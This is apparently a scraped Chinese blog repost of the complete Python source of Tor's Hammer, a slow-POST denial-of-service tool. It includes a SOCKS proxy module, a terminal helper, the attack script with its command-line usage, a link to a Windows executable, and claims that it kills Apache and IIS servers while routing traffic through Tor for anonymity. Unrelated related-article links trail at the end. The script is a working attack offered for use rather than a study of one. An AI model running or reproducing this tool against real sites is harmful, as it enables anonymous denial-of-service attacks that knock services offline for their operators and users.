torshammer

win32 可执行exe下载:

http://howfile.com/file/2611e8a1/9c6c9f8f/

是针对慢速 post的攻击,针对apache兼职是绝杀

socket.py

"""SocksiPy - Python SOCKS module.
Version 1.00Copyright 2006 Dan-Haim. All rights reserved.Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, thislist of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,this list of conditions and the following disclaimer in the documentationand/or other materials provided with the distribution.
3. Neither the name of Dan Haim nor the names of his contributors may be usedto endorse or promote products derived from this software without specificprior written permission.THIS SOFTWARE IS PROVIDED BY DAN HAIM "AS IS" AND ANY EXPRESS OR IMPLIED
WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO
EVENT SHALL DAN HAIM OR HIS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA
OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMANGE.This module provides a standard socket-like interface for Python
for tunneling connections through SOCKS proxies."""import socket
import structPROXY_TYPE_SOCKS4 = 1
PROXY_TYPE_SOCKS5 = 2
PROXY_TYPE_HTTP = 3_defaultproxy = None
_orgsocket = socket.socketclass ProxyError(Exception):def __init__(self, value):self.value = valuedef __str__(self):return repr(self.value)class GeneralProxyError(ProxyError):def __init__(self, value):self.value = valuedef __str__(self):return repr(self.value)class Socks5AuthError(ProxyError):def __init__(self, value):self.value = valuedef __str__(self):return repr(self.value)class Socks5Error(ProxyError):def __init__(self, value):self.value = valuedef __str__(self):return repr(self.value)class Socks4Error(ProxyError):def __init__(self, value):self.value = valuedef __str__(self):return repr(self.value)class HTTPError(ProxyError):def __init__(self, value):self.value = valuedef __str__(self):return repr(self.value)_generalerrors = ("success","invalid data","not connected","not available","bad proxy type","bad input")_socks5errors = ("succeeded","general SOCKS server failure","connection not allowed by ruleset","Network unreachable","Host unreachable","Connection refused","TTL expired","Command not supported","Address type not supported","Unknown error")_socks5autherrors = ("succeeded","authentication is required","all offered authentication methods were rejected","unknown username or invalid password","unknown error")_socks4errors = ("request granted","request rejected or failed","request rejected because SOCKS server cannot connect to identd on the client","request rejected because the client program and identd report different user-ids","unknown error")def setdefaultproxy(proxytype=None,addr=None,port=None,rdns=True,username=None,password=None):"""setdefaultproxy(proxytype, addr[, port[, rdns[, username[, password]]]])Sets a default proxy which all further socksocket objects will use,unless explicitly changed."""global _defaultproxy_defaultproxy = (proxytype,addr,port,rdns,username,password)class socksocket(socket.socket):"""socksocket([family[, type[, proto]]]) -> socket objectOpen a SOCKS enabled socket. The parameters are the same asthose of the standard socket init. In order for SOCKS to work,you must specify family=AF_INET, type=SOCK_STREAM and proto=0."""def __init__(self, family=socket.AF_INET, type=socket.SOCK_STREAM, proto=0, _sock=None):_orgsocket.__init__(self,family,type,proto,_sock)if _defaultproxy != None:self.__proxy = _defaultproxyelse:self.__proxy = (None, None, None, None, None, None)self.__proxysockname = Noneself.__proxypeername = Nonedef __recvall(self, bytes):"""__recvall(bytes) -> dataReceive EXACTLY the number of bytes requested from the socket.Blocks until the required number of bytes have been received."""data = ""while len(data) < bytes:data = data + self.recv(bytes-len(data))return datadef setproxy(self,proxytype=None,addr=None,port=None,rdns=True,username=None,password=None):"""setproxy(proxytype, addr[, port[, rdns[, username[, password]]]])Sets the proxy to be used.proxytype -   The type of the proxy to be used. Three typesare supported: PROXY_TYPE_SOCKS4 (including socks4a),PROXY_TYPE_SOCKS5 and PROXY_TYPE_HTTPaddr -       The address of the server (IP or DNS).port -        The port of the server. Defaults to 1080 for SOCKSservers and 8080 for HTTP proxy servers.rdns -        Should DNS queries be preformed on the remote side(rather than the local side). The default is True.Note: This has no effect with SOCKS4 servers.username - Username to authenticate with to the server.The default is no authentication.password - Password to authenticate with to the server.Only relevant when username is also provided."""self.__proxy = (proxytype,addr,port,rdns,username,password)def __negotiatesocks5(self,destaddr,destport):"""__negotiatesocks5(self,destaddr,destport)Negotiates a connection through a SOCKS5 server."""# First we'll send the authentication packages we support.if (self.__proxy[4]!=None) and (self.__proxy[5]!=None):# The username/password details were supplied to the# setproxy method so we support the USERNAME/PASSWORD# authentication (in addition to the standard none).self.sendall("\x05\x02\x00\x02")else:# No username/password were entered, therefore we# only support connections with no authentication.self.sendall("\x05\x01\x00")# We'll receive the server's response to determine which# method was selectedchosenauth = self.__recvall(2)if chosenauth[0] != "\x05":self.close()raise GeneralProxyError((1,_generalerrors[1]))# Check the chosen authentication methodif chosenauth[1] == "\x00":# No authentication is requiredpasselif chosenauth[1] == "\x02":# Okay, we need to perform a basic username/password# authentication.self.sendall("\x01" + chr(len(self.__proxy[4])) + self.__proxy[4] + chr(len(self.proxy[5])) + self.__proxy[5])authstat = self.__recvall(2)if authstat[0] != "\x01":# Bad responseself.close()raise GeneralProxyError((1,_generalerrors[1]))if authstat[1] != "\x00":# Authentication failedself.close()raise Socks5AuthError,((3,_socks5autherrors[3]))# Authentication succeededelse:# Reaching here is always badself.close()if chosenauth[1] == "\xFF":raise Socks5AuthError((2,_socks5autherrors[2]))else:raise GeneralProxyError((1,_generalerrors[1]))# Now we can request the actual connectionreq = "\x05\x01\x00"# If the given destination address is an IP address, we'll# use the IPv4 address request even if remote resolving was specified.try:ipaddr = socket.inet_aton(destaddr)req = req + "\x01" + ipaddrexcept socket.error:# Well it's not an IP number,  so it's probably a DNS name.if self.__proxy[3]==True:# Resolve remotelyipaddr = Nonereq = req + "\x03" + chr(len(destaddr)) + destaddrelse:# Resolve locallyipaddr = socket.inet_aton(socket.gethostbyname(destaddr))req = req + "\x01" + ipaddrreq = req + struct.pack(">H",destport)self.sendall(req)# Get the responseresp = self.__recvall(4)if resp[0] != "\x05":self.close()raise GeneralProxyError((1,_generalerrors[1]))elif resp[1] != "\x00":# Connection failedself.close()if ord(resp[1])<=8:raise Socks5Error(ord(resp[1]),_generalerrors[ord(resp[1])])else:raise Socks5Error(9,_generalerrors[9])# Get the bound address/portelif resp[3] == "\x01":boundaddr = self.__recvall(4)elif resp[3] == "\x03":resp = resp + self.recv(1)boundaddr = self.__recvall(resp[4])else:self.close()raise GeneralProxyError((1,_generalerrors[1]))boundport = struct.unpack(">H",self.__recvall(2))[0]self.__proxysockname = (boundaddr,boundport)if ipaddr != None:self.__proxypeername = (socket.inet_ntoa(ipaddr),destport)else:self.__proxypeername = (destaddr,destport)def getproxysockname(self):"""getsockname() -> address infoReturns the bound IP address and port number at the proxy."""return self.__proxysocknamedef getproxypeername(self):"""getproxypeername() -> address infoReturns the IP and port number of the proxy."""return _orgsocket.getpeername(self)def getpeername(self):"""getpeername() -> address infoReturns the IP address and port number of the destinationmachine (note: getproxypeername returns the proxy)"""return self.__proxypeernamedef __negotiatesocks4(self,destaddr,destport):"""__negotiatesocks4(self,destaddr,destport)Negotiates a connection through a SOCKS4 server."""# Check if the destination address provided is an IP addressrmtrslv = Falsetry:ipaddr = socket.inet_aton(destaddr)except socket.error:# It's a DNS name. Check where it should be resolved.if self.__proxy[3]==True:ipaddr = "\x00\x00\x00\x01"rmtrslv = Trueelse:ipaddr = socket.inet_aton(socket.gethostbyname(destaddr))# Construct the request packetreq = "\x04\x01" + struct.pack(">H",destport) + ipaddr# The username parameter is considered userid for SOCKS4if self.__proxy[4] != None:req = req + self.__proxy[4]req = req + "\x00"# DNS name if remote resolving is required# NOTE: This is actually an extension to the SOCKS4 protocol# called SOCKS4A and may not be supported in all cases.if rmtrslv==True:req = req + destaddr + "\x00"self.sendall(req)# Get the response from the serverresp = self.__recvall(8)if resp[0] != "\x00":# Bad dataself.close()raise GeneralProxyError((1,_generalerrors[1]))if resp[1] != "\x5A":# Server returned an errorself.close()if ord(resp[1]) in (91,92,93):self.close()raise Socks4Error((ord(resp[1]),_socks4errors[ord(resp[1])-90]))else:raise Socks4Error((94,_socks4errors[4]))# Get the bound address/portself.__proxysockname = (socket.inet_ntoa(resp[4:]),struct.unpack(">H",resp[2:4])[0])if rmtrslv != None:self.__proxypeername = (socket.inet_ntoa(ipaddr),destport)else:self.__proxypeername = (destaddr,destport)def __negotiatehttp(self,destaddr,destport):"""__negotiatehttp(self,destaddr,destport)Negotiates a connection through an HTTP server."""# If we need to resolve locally, we do this nowif self.__proxy[3] == False:addr = socket.gethostbyname(destaddr)else:addr = destaddrself.sendall("CONNECT " + addr + ":" + str(destport) + " HTTP/1.1\r\n" + "Host: " + destaddr + "\r\n\r\n")# We read the response until we get the string "\r\n\r\n"resp = self.recv(1)while resp.find("\r\n\r\n")==-1:resp = resp + self.recv(1)# We just need the first line to check if the connection# was successfulstatusline = resp.splitlines()[0].split(" ",2)if statusline[0] not in ("HTTP/1.0","HTTP/1.1"):self.close()raise GeneralProxyError((1,_generalerrors[1]))try:statuscode = int(statusline[1])except ValueError:self.close()raise GeneralProxyError((1,_generalerrors[1]))if statuscode != 200:self.close()raise HTTPError((statuscode,statusline[2]))self.__proxysockname = ("0.0.0.0",0)self.__proxypeername = (addr,destport)def connect(self,destpair):"""connect(self,despair)Connects to the specified destination through a proxy.destpar - A tuple of the IP/DNS address and the port number.(identical to socket's connect).To select the proxy server use setproxy()."""# Do a minimal input check firstif (type(destpair) in (list,tuple)==False) or (len(destpair)<2) or (type(destpair[0])!=str) or (type(destpair[1])!=int):raise GeneralProxyError((5,_generalerrors[5]))if self.__proxy[0] == PROXY_TYPE_SOCKS5:if self.__proxy[2] != None:portnum = self.__proxy[2]else:portnum = 1080_orgsocket.connect(self,(self.__proxy[1],portnum))self.__negotiatesocks5(destpair[0],destpair[1])elif self.__proxy[0] == PROXY_TYPE_SOCKS4:if self.__proxy[2] != None:portnum = self.__proxy[2]else:portnum = 1080_orgsocket.connect(self,(self.__proxy[1],portnum))self.__negotiatesocks4(destpair[0],destpair[1])elif self.__proxy[0] == PROXY_TYPE_HTTP:if self.__proxy[2] != None:portnum = self.__proxy[2]else:portnum = 8080_orgsocket.connect(self,(self.__proxy[1],portnum))self.__negotiatehttp(destpair[0],destpair[1])elif self.__proxy[0] == None:_orgsocket.connect(self,(destpair[0],destpair[1]))else:raise GeneralProxyError((4,_generalerrors[4]))

terminal.py

import sys, reclass TerminalController:"""A class that can be used to portably generate formatted output toa terminal.  `TerminalController` defines a set of instance variables whosevalues are initialized to the control sequence necessary toperform a given action.  These can be simply included in normaloutput to the terminal:>>> term = TerminalController()>>> print 'This is '+term.GREEN+'green'+term.NORMALAlternatively, the `render()` method can used, which replaces'${action}' with the string required to perform 'action':>>> term = TerminalController()>>> print term.render('This is ${GREEN}green${NORMAL}')If the terminal doesn't support a given action, then the value ofthe corresponding instance variable will be set to ''.  As aresult, the above code will still work on terminals that do notsupport color, except that their output will not be colored.Also, this means that you can test whether the terminal supports agiven action by simply testing the truth value of thecorresponding instance variable:>>> term = TerminalController()>>> if term.CLEAR_SCREEN:...     print 'This terminal supports clearning the screen.'Finally, if the width and height of the terminal are known, thenthey will be stored in the `COLS` and `LINES` attributes."""# Cursor movement:BOL = ''             #: Move the cursor to the beginning of the lineUP = ''              #: Move the cursor up one lineDOWN = ''            #: Move the cursor down one lineLEFT = ''            #: Move the cursor left one charRIGHT = ''           #: Move the cursor right one char# Deletion:CLEAR_SCREEN = ''    #: Clear the screen and move to home positionCLEAR_EOL = ''       #: Clear to the end of the line.CLEAR_BOL = ''       #: Clear to the beginning of the line.CLEAR_EOS = ''       #: Clear to the end of the screen# Output modes:BOLD = ''            #: Turn on bold modeBLINK = ''           #: Turn on blink modeDIM = ''             #: Turn on half-bright modeREVERSE = ''         #: Turn on reverse-video modeNORMAL = ''          #: Turn off all modes# Cursor display:HIDE_CURSOR = ''     #: Make the cursor invisibleSHOW_CURSOR = ''     #: Make the cursor visible# Terminal size:COLS = None          #: Width of the terminal (None for unknown)LINES = None         #: Height of the terminal (None for unknown)# Foreground colors:BLACK = BLUE = GREEN = CYAN = RED = MAGENTA = YELLOW = WHITE = ''# Background colors:BG_BLACK = BG_BLUE = BG_GREEN = BG_CYAN = ''BG_RED = BG_MAGENTA = BG_YELLOW = BG_WHITE = ''_STRING_CAPABILITIES = """BOL=cr UP=cuu1 DOWN=cud1 LEFT=cub1 RIGHT=cuf1CLEAR_SCREEN=clear CLEAR_EOL=el CLEAR_BOL=el1 CLEAR_EOS=ed BOLD=boldBLINK=blink DIM=dim REVERSE=rev UNDERLINE=smul NORMAL=sgr0HIDE_CURSOR=cinvis SHOW_CURSOR=cnorm""".split()_COLORS = """BLACK BLUE GREEN CYAN RED MAGENTA YELLOW WHITE""".split()def __init__(self, term_stream=sys.stdout):"""Create a `TerminalController` and initialize its attributeswith appropriate values for the current terminal.`term_stream` is the stream that will be used for terminaloutput; if this stream is not a tty, then the terminal isassumed to be a dumb terminal (i.e., have no capabilities)."""# Curses isn't available on all platformstry: import cursesexcept: return# If the stream isn't a tty, then assume it has no capabilities.if not term_stream.isatty(): return# Check the terminal type.  If we fail, then assume that the# terminal has no capabilities.try: curses.setupterm()except: return# Look up numeric capabilities.self.COLS = curses.tigetnum('cols')self.LINES = curses.tigetnum('lines')# Look up string capabilities.for capability in self._STRING_CAPABILITIES:(attrib, cap_name) = capability.split('=')setattr(self, attrib, self._tigetstr(cap_name) or '')# Colorsset_fg = self._tigetstr('setf')if set_fg:for i,color in zip(range(len(self._COLORS)), self._COLORS):setattr(self, color, curses.tparm(set_fg, i) or '')set_bg = self._tigetstr('setb')if set_bg:for i,color in zip(range(len(self._COLORS)), self._COLORS):setattr(self, 'BG_'+color, curses.tparm(set_bg, i) or '')def _tigetstr(self, cap_name):# String capabilities can include "delays" of the form "$<2>".# For any modern terminal, we should be able to just ignore# these, so strip them out.import cursescap = curses.tigetstr(cap_name) or ''return re.sub(r'\$<\d+>[/*]?', '', cap)def render(self, template):"""Replace each $-substitutions in the given template string withthe corresponding terminal control string (if it's defined) or'' (if it's not)."""return re.sub(r'\$\$|\${\w+}', self._render_sub, template)def _render_sub(self, match):s = match.group()if s == '$$': return selse: return getattr(self, s[2:-1])#######################################################################
# Example use case: progress bar
#######################################################################class ProgressBar:"""A 3-line progress bar, which looks like::Header20% [===========----------------------------------]progress messageThe progress bar is colored, if the terminal supports coloroutput; and adjusts to the width of the terminal."""BAR = '%3d%% ${GREEN}[${BOLD}%s%s${NORMAL}${GREEN}]${NORMAL}\n'HEADER = '${BOLD}${CYAN}%s${NORMAL}\n\n'def __init__(self, term, header):self.term = termif not (self.term.CLEAR_EOL and self.term.UP and self.term.BOL):raise ValueError("Terminal isn't capable enough -- you ""should use a simpler progress dispaly.")self.width = self.term.COLS or 75self.bar = term.render(self.BAR)self.header = self.term.render(self.HEADER % header.center(self.width))self.cleared = 1 #: true if we haven't drawn the bar yet.self.update(0, '')def update(self, percent, message):if self.cleared:sys.stdout.write(self.header)self.cleared = 0n = int((self.width-10)*percent)sys.stdout.write(self.term.BOL + self.term.UP + self.term.CLEAR_EOL +(self.bar % (100*percent, '='*n, '-'*(self.width-10-n))) +self.term.CLEAR_EOL + message.center(self.width))def clear(self):if not self.cleared:sys.stdout.write(self.term.BOL + self.term.CLEAR_EOL +self.term.UP + self.term.CLEAR_EOL +self.term.UP + self.term.CLEAR_EOL)self.cleared = 1

torshammer.py

#!/usr/bin/python# this assumes you have the socks.py (http://phiral.net/socks.py)
# and terminal.py (http://phiral.net/terminal.py) in the
# same directory and that you have tor running locally
# on port 9050. run with 128 to 256 threads to be effective.
# kills apache 1.X with ~128, apache 2.X / IIS with ~256
# not effective on nginximport os
import re
import time
import sys
import random
import math
import getopt
import socks
import string
import terminalfrom threading import Threadglobal stop_now
global termstop_now = False
term = terminal.TerminalController()useragents = ["Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)","Googlebot/2.1 (http://www.googlebot.com/bot.html)","Opera/9.20 (Windows NT 6.0; U; en)","Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)","Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)","Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0","Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16","Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)", # maybe not"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13""Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)","Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)","Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)","Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)","Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)","Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8","Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7","Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)","Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)","YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)"
]class httpPost(Thread):def __init__(self, host, port, tor):Thread.__init__(self)self.host = hostself.port = portself.socks = socks.socksocket()self.tor = torself.running = Truedef _send_http_post(self, pause=10):global stop_nowself.socks.send("POST / HTTP/1.1\r\n""Host: %s\r\n""User-Agent: %s\r\n""Connection: keep-alive\r\n""Keep-Alive: 900\r\n""Content-Length: 10000\r\n""Content-Type: application/x-www-form-urlencoded\r\n\r\n" % (self.host, random.choice(useragents)))for i in range(0, 9999):if stop_now:self.running = Falsebreakp = random.choice(string.letters+string.digits)print term.BOL+term.UP+term.CLEAR_EOL+"Posting: %s" % p+term.NORMALself.socks.send(p)time.sleep(random.uniform(0.1, 3))self.socks.close()def run(self):while self.running:while self.running:try:if self.tor:     self.socks.setproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)self.socks.connect((self.host, self.port))print term.BOL+term.UP+term.CLEAR_EOL+"Connected to host..."+ term.NORMALbreakexcept Exception, e:if e.args[0] == 106 or e.args[0] == 60:breakprint term.BOL+term.UP+term.CLEAR_EOL+"Error connecting to host..."+ term.NORMALtime.sleep(1)continuewhile self.running:try:self._send_http_post()except Exception, e:if e.args[0] == 32 or e.args[0] == 104:print term.BOL+term.UP+term.CLEAR_EOL+"Thread broken, restarting..."+ term.NORMALself.socks = socks.socksocket()breaktime.sleep(0.1)passdef usage():print "./torshammer.py -t <target> [-r <threads> -p <port> -T -h]"print " -t|--target <Hostname|IP>"print " -r|--threads <Number of threads> Defaults to 256"print " -p|--port <Web Server Port> Defaults to 80"print " -T|--tor Enable anonymising through tor on 127.0.0.1:9050"print " -h|--help Shows this help\n" print "Eg. ./torshammer.py -t 192.168.1.100 -r 256\n"def main(argv):try:opts, args = getopt.getopt(argv, "hTt:r:p:", ["help", "tor", "target=", "threads=", "port="])except getopt.GetoptError:usage() sys.exit(-1)global stop_nowtarget = ''threads = 256tor = Falseport = 80for o, a in opts:if o in ("-h", "--help"):usage()sys.exit(0)if o in ("-T", "--tor"):tor = Trueelif o in ("-t", "--target"):target = aelif o in ("-r", "--threads"):threads = int(a)elif o in ("-p", "--port"):port = int(a)if target == '' or int(threads) <= 0:usage()sys.exit(-1)print term.DOWN + term.RED + "/*" + term.NORMALprint term.RED + " * Target: %s Port: %d" % (target, port) + term.NORMALprint term.RED + " * Threads: %d Tor: %s" % (threads, tor) + term.NORMALprint term.RED + " * Give 20 seconds without tor or 40 with before checking site" + term.NORMALprint term.RED + " */" + term.DOWN + term.DOWN + term.NORMALrthreads = []for i in range(threads):t = httpPost(target, port, tor)rthreads.append(t)t.start()while len(rthreads) > 0:try:rthreads = [t.join(1) for t in rthreads if t is not None and t.isAlive()]except KeyboardInterrupt:print "\nShutting down threads...\n"for t in rthreads:stop_now = Truet.running = Falseif __name__ == "__main__":print "\n/*"print " *"+term.RED + " Tor's Hammer "+term.NORMALprint " * Slow POST DoS Testing Tool"print " * entropy [at] phiral.net"print " * Anon-ymized via Tor"print " * We are Legion."print " */\n"main(sys.argv[1:])

slow post ddos tools torshammer (win32可执行下载)相关推荐

  1. 【Tools】Visual Studio 2010下载和安装

    00. 目录 文章目录 00. 目录 01. Visual Studio 2019下载 02. Visual Studio 2019安装 03. 附录 01. Visual Studio 2019下载 ...

  2. jq获取页面中所有的a链接并执行下载功能

    首先记录一下BUG 最开始一直是以以下方式进行下载的,但是发现,他只会下载最后一条数据,但是你在调试过程中或者alert的时候他又能全部执行下载,这真是一个很奇怪的问题,为此研究了好久 错误代码如下: ...

  3. a标签下载图片及js执行下载图片

    原因: 我发现href的值是网络地址就是添加了download属性还是会直接打开图片而不是直接下载,只有写成相对地址添加了download属性才会执行下载,但是存在兼容性问题 如下: <a hr ...

  4. VMware Tools packages for macOS官方下载地址

    VMware Tools packages for macOS官方下载地址 注意:需要登录才能下载

  5. slow log php,善用php-fpm的慢执行日志slow log,分析php性能问题

    众所周知,mysql有slow query log,根据慢查询日志,我们可以知道那些sql语句有性能问题.作为mysql的好搭档,php也有这样的功能.如果你使用php-fpm来管理php的话,你可以 ...

  6. Win32程序执行单元-多线程

    多线程:主线程在运行过程中,可以创建新的线程,这些线程可以共享进程的资源,如全局变量,句柄等: 线程函数定义:DWORD WINAPI ThreadProcess(LPVOID lpParam); ` ...

  7. DDOS攻击监测工具软件DDOS_Monitor下载

    一款小巧简单的DDOS监测工具DDOS_Monitor (windows平台下),可以用来检测判断网络状态,不需安装,直接解压缩使用. 下面是说明文档 ---------------– FortGua ...

  8. Spring Tools Suite (STS) 简介及下载

    目录 简介 下载地址 简介 首先,sts是一个定制版的Eclipse,专为Spring开发定制的,方便创建调试运行维护Spring应用. 官网 Spring | ToolsSpring Tools 4 ...

  9. 【Tools】Visual Studio 2019下载和安装

    00. 目录 文章目录 00. 目录 01. Visual Studio 2019简介 02. Visual Studio 2019下载 03. Visual Studio 2019安装 04. Vi ...

最新文章

  1. 中国增速第一!《全球数字经济白皮书》发布
  2. FAST UA API
  3. 10.切片slice.rs
  4. HDU5853 Jong Hyok and String(二分 + 后缀数组)
  5. python求两数之和的命令_python计算两个数的百分比方法
  6. oopc——7.面向接口编程
  7. 苹果市值超过微软成第一大科技公司
  8. bzoj3670 [Noi2014]动物园
  9. (转)Atom安装插件被墙,解决方案:给apm设置中国国内镜像
  10. 飞秋mac版字符乱码_Mac版QQ的OCR文字识别功能究竟有多好用?
  11. iis6xp_xp安装iis6步骤方法
  12. 3D游戏编程与设计4——游戏对象与图形基础
  13. 汇编没什么用,不用学了
  14. client-go的使用及源码分析
  15. CSS属性之relative
  16. 推荐15个清爽简约风格的 HTML5 网站作品
  17. 搜图出处的软件_以图搜图搜gif图片出处来源的懒人小工具
  18. 【UV打印机】理光喷头组合说明(16H)
  19. 兀键和6键怎么判断_如何判断分子或离子中的大π键
  20. Linux 下qW3xT.2,解决挖矿病毒

热门文章

  1. 【转】高清视频分割器在日常生活中的重要作用
  2. 在Eclipse3.1.1访问Weblogic 9.0中数据源的JDBC简单应用
  3. 开启线程_beginthreadex()和停止线程_endthreadex()
  4. 2016年中国最具幸福感城市评选出炉
  5. windows文件共享给 vmware 中centos8
  6. XPath:爬取百度贴吧图片,并保存本地
  7. matlab调用摄像头函数,Matlab调用系统摄像头
  8. 打脸了兄弟们,Go1.20 arena 来了!
  9. 亚马逊红人视频和普通买家秀有什么区别?
  10. 栈溢出攻击c语言_栈溢出攻击